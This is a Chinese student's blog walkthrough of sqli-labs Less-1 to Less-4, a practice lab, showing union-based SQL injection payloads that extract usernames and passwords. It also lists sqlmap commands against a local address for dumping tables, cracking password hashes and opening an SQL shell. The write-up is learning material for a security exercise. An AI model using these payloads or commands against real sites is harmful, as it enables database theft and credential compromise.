Sqli-labs Less1-Less4题解

 这是上周学的东西了,这周决定学sql注入和文件上传,还是对暑假学习的一些小记录QAQ,一起加油学习吖 

Less_1-Less_4是SQL一些简单的基本注入

Less_1 基于报错的单引号字符型GET注入

先跟着别人的wp做做题吧

image-20240715100701541

提示了用id作为参数

先判断是否有注入点的存在

输入?id=1'报错,有sql注入且是字符型注入,可以用联合查询

报错信息为:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'' LIMIT 0,1' at line 1

image-20240715091128964

image-20240715093109260

第一种方法 手工注入 union查询

第一步 猜解准备

union查询猜解准备:(看看表格有几列)

嗷嗷,--+是注释掉后面的LIMIT 0,1使之不生效

?id=1'order by 1--+

image-20240715091733832

这个正确与错误的临界值是3

第二步 爆出显示位,可以利用这两个回显位来显示下面需要的数据

爆出显示位,看看表格里面那一列是在页面中显示的,可以看到显示了2和3 ?id=-1'union select 1,2,3--+' (将id弄成一个负数的值,使前面的语句失效)

image-20240715092232866

第三步 获取数据名和版本号

获取当前的数据名和版本号

?id=-1union select 1,database(),version()--+

image-20240715093240640

然后我们知道了数据库是security,版本信息:5.7.26

group_concat()是将查询到结果连接起来。

第四步 爆出表名,列名

然后利用union查询爆出表名

 information_schema:记录所有数据库名、表名和列名
 ​
 information_schema.tables :记录所有表名信息的表
 ​
 information_schema.columns:记sch录所有列名信息的表
 ​
 table_name  表名
 ​
 column_name  列名
 ​
 table_schena   数据库名

image-20240715095114353

?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

一般来说,账号和密码都在一张表上,可以看到有user表

查看这个表的列名

image-20240715095645302

?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

可以看到username和password的信息

第五步 得到所有的password和username

查看username和password里面的数据

?id=-1'union select 1,group_concat(password,username),3 from security.users--+

image-20240715100316175

关于Less_1的另外一种方法 工具注入

大佬的博客:sqlmap的安装与使用_sqlmap安装与使用-CSDN博客

下载一下sqlmp

吼,还要安装一下python2

image-20240715112320048

进入文件夹后输入cmd python2 sqlmap.py(因为电脑上同时有Python2 和 Python3),可以搞个快捷方式

 基本的指令:
 --dbs:是查看所有的数据库
 ​
 --tables:是查看所有的表
 ​
 --columns:是查看表中所有的字段名
 ​
 --dump:是查询哪个表的数据

先总结一下做法嗷,后面的是丢丢用法和解释

 提示可能存在注入点:
 python2 sqlmap.py -u http://127.0.0.1:8989/Less-1/?id=1
 查看所有的数据库:
 python2 sqlmap.py -u http://127.0.0.1:8989/Less-1/?id=1 --dbs
 发现有security的数据库,然后爆表
 python2 sqlmap.py -u http://127.0.0.1:8989/Less-1/?id=1 -D security --tables
 然后爆字段名:
 python2 sqlmap.py -u http://127.0.0.1:8989/Less-1/?id=1 —D security -T users --columns
 查看里面的内容:
 python2 sqlmap.py -u http://127.0.0.1:8989/Less-1/?id=1 —D security -T users -C "id,password,username" --dump

image-20240715143557978

最后拿到所有内容

image-20240715143719497

丢丢用法和解释

python2 sqlmap.py -u http://127.0.0.1:8989/Less-1/?id=1

提示可能存在注入

 一般会有三个yes的出现
 ​
 第一处意为检测数据可能是MYSQL,是否需要跳过其他数据库
 ​
 第二处意为在“level、riskl”的情况下,是否使用MYSQL对应的所有payloud进行检测
 ​
 第三处意为参数id存在漏洞,是否继续检测其他参数

判断是否存在注入,构造命令( -r 一般在存在 cookie 注入时使用 ): python2 sqlmap.py -r C:\Users\86133\Desktop/1.txt(不懂了这个)

查询当前用户下的所有数据库

python2 sqlmap.py -u http://127.0.0.1:8989/Less-1/?id=1 --dbs

得到所有的数据库名

image-20240715114141268

python2 sqlmap.py -u http://127.0.0.1:8989/Less-1/?id=1 -D sys --tables

-D 参数用来指定某一个具体的数据库,如果不使用,就会列出所有数据库中的所有表

image-20240715114506670

得到了101个表名

查看sys数据库中host_summary中的列名

python2 sqlmap.py -u http://127.0.0.1:8989/Less-1/?id=1 -D sys -T host_summary -columns

image-20240715115256668

得到host,statements中的具体数据

python2 sqlmap.py -u http://127.0.0.1:8989/Less-1/?id=1 -D sys -T host_summary -C host,statements -dump

image-20240715115520379

获取数据库中的所有用户

python2 sqlmap.py -u http://127.0.0.1:8989/Less-1/?id=1 --users

image-20240715115804024

获取数据库用户的密码

python2 sqlmap.py -u http://127.0.0.1:8989/Less-1/?id=1 --passwords

这里也出现了几个选项

image-20240715141214187

第一个意为是否将哈希存储到临时文件,以便最终使用其他根据进行进一步处理

第二个意为是否要将检索到的密码哈希执行基于字典的攻击

第三个是选择用哪本字典

 [1]自带的字典
 [2]自定义的字典
 [3]包含字典文件列表的字典
 第四处意为是否使用通用密码后缀

image-20240715120025516

第三个root用户的密码是root

获取当前网址数据库的名称

python2 sqlmap.py -u http://127.0.0.1:8989/Less-1/?id=1 --current-db

image-20240715141011401

当前网站数据库的名称是security

获取当前网址数据库的用户名称

python2 sqlmap.py -u http://127.0.0.1:8989/Less-1/?id=1 --current-user

image-20240715141546343

得到的用户为root

sqlmap参数

--level 5 :探测等级

参数 --level5只需要执行的测试等级,一共有5个等级(1-5),可不加level,则默认为1

 level2 :cookie注入
 level3: user-agent、referer
 level5:host

5级包含的payloud最多,会自动破解出cookie、XFF等头部注入,不过运行的速度也最慢

当前用户是否为管理权限

查看当前账户是否为数据库管理员的账户

python2 sqlmap.py -u http://127.0.0.1:8989/Less-1/?id=1 --is-dba

image-20240715142200586

列出数据库管理员角色

>python2 sqlmap.py -u http://127.0.0.1:8989/Less-1/?id=1 --roles

image-20240715142313023

--referer:HTTP Referer头

sqlmap 可以在请求中伪造 HTTP 中的 referer ,当 --level 参数设定为 3 或 3 以上时,会尝试对 referer 注入。 如使用命令:

python2 sqlmap.py -u http://sqli-labs/Less-1/?id=1 --referer http://www.baidu.com

–sql-shell : 运行自定义 sql 语句 该命令用于指定的 sql 语句。 如要执行语句:

select * from users limit 0,1

执行了命令后,会给出一行让我们输入所要执行的命令,就在对我们的自定义命令进行执行。

Less_2 基于报错的数字型GET注入

和Less_1差不多,只是是数字型

还是判断是否存在注入漏洞

?id=1显示正常

?id=1'报错LIMIT0,1代表旁边多了一个单引号(可以根据报错信息慢慢总结一下)

报错信息为:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' LIMIT 0,1' at line 1

image-20240715102303084

用一下双引号:还是报错 You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '" LIMIT 0,1' at line 1

?id=1'--+还是错误

?id=1 and 1=1显示正常

?id=1 and 1=2没有显示,判断为数字型注入

image-20240715102553187

判断回显位,还是在4

image-20240715102834499

爆回显位

?id=-1 union select 1,2,3--+

爆数据库和版本号

?id=-1 union select 1,database(),version()--+

爆出表名

 ?id=-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

image-20240715104114005

得到列名

 ?id=-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

最后得到password和username

?id=-1 union select 1,group_concat(username,password),3 from security.users

image-20240715104613193

Less_3 基于报错的GET单引号变形字符型注入

还是先用单引号来进行测试,发现报错,查看源码

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1'') LIMIT 0,1' at line 1

image-20240715170118206

这是这道题的源码

image-20240715170153694

这是第一道题的源码

image-20240715170257399

发现多了个括号,需要修改一下格式,这里通过源码可以看看到$id用单引号和括号圈起来了,所以只用单引号去闭合是不行的,还需要括号

image-20240715170408350

发现该语句可以成功注入的有(偷看别人的wp)

?id=')or '1'='1'--+

为什么捏?我来分析一下?

源码为:

 $id=$_GET['id'];
 ​
 $sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
 $result=mysql_query($sql);
 $row = mysql_fetch_array($result);
 SELECT * FROM users WHERE id=('$id') LIMIT 0,1
 传入
 ?id=1')
 SELECT * FROM users WHERE id=('1')') LIMIT 0,1   已经闭合了
 前面有一个单引号,后面有一个双引号
 传入:
 ?id=')or '1'='1'
 SELECT * FROM users WHERE id=('')or '1'='1'') LIMIT 0,1

union联合注入

猜解

?id=1') order by 4--+

?id=-1') union select 1,database(),version()--+

?id=-1') union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+

?id=-1') union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

?id=-1') union select 1,group_concat(username,password),3 from security.users--+

感觉和第一道题没有什么区别,就是多了个干扰符号

image-20240715171501728

Less_4 基于报错的GET双引号变形字符型注入

输入?id=1"报错

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '"1"") LIMIT 0,1' at line 1

?id=1") 报错:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '") LIMIT 0,1' at line 1

在后面加上--+将limit注释掉

先看一下源码

 $id = '"' . $id . '"';
 $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";
 $result=mysql_query($sql);
 $row = mysql_fetch_array($result);

可以看到$id被提前进行了定义,被用双引号括起来了,然后在拼接的时候有用括号扩起来了,所以需要闭合双引号和括号

基本步骤和前面其实也差不多

那我就记最后一条

?id=-1") union select 1,group_concat(username,password),3 from security.users--+

image-20240715172715874

  • 22
    点赞
  • 17
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值